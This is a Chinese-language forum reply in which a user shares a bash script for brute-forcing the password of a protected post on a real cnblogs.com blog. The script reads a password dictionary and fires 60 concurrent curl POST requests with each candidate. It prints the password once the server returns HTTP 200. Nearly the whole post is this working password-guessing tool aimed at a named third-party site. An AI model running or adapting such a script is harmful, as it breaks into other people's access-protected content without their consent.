本帖最后由 lxzzr 于 2016-6-15 16:25 编辑
回复 6# 523066680
是的,就是楼主那个,我用的是用bash批量提交curl- #!/bin/bash
-
- trap Cleanup SIGINT SIGTERM
-
- # 字典路径
- DictionaryPath="/root/.passwd/PASSWD01"
-
- # 读取字典文件到数组
- arrayW=(`cat $DictionaryPath`)
-
- # 最大任务量,数组
- Limit=${#arrayW[*]}
-
- # 并发的进程数
- Threads=60
-
- echo ""
- echo "Load passwords from $DictionaryPath, Tasks: $Limit, Threads: $Threads"
- echo ""
-
- function Cleanup()
- {
- # 清理后台还在运行的任务
- for i in `jobs | awk -F'[][]' '/Running\s+Crack/{print $2}'`
- do
- kill %$i
- done
-
- sleep 1
- echo -e "\n\nExit ...\n"
- exit
- }
-
-
- function Crack()
- {
- URL="http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"
- result=$(curl -so /dev/null -w "%{http_code}\n" -X 'POST' --data-binary $'tb_password='$1'' ''$URL'')
- if [ "$result" == "200" ]; then
- printf "\n\n%s\033[1;32m %s\033[m" "OK, Password is:" "$1"
- killall ${0##*/}
- fi
- }
-
-
- # 进程ID数组
- arrayP=()
-
- m=0
- while (( m < Limit ))
- do
- for ((n=0; n < Threads; n++))
- do
- if [ $m -gt $Limit ]; then
- break;
- fi
-
- if [[ ! "${arrayP[n]}" ]] || ! kill -0 ${arrayP[n]} 2>/dev/null; then
-
- # 处理进度百分比
- progress=$(echo "$m ${#arrayW[*]}" | awk '{printf "%.2f%\n",$1/$2*100}')
-
- printf "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b%s" "Processing [$progress] ..."
-
- Crack "${arrayW[m]}" &
-
- arrayP[n]=$!
-
- m=$((m+1))
- fi
- done
- sleep 0.5
- done
- wait
-
- printf "\n\n"
- exit
复制代码
|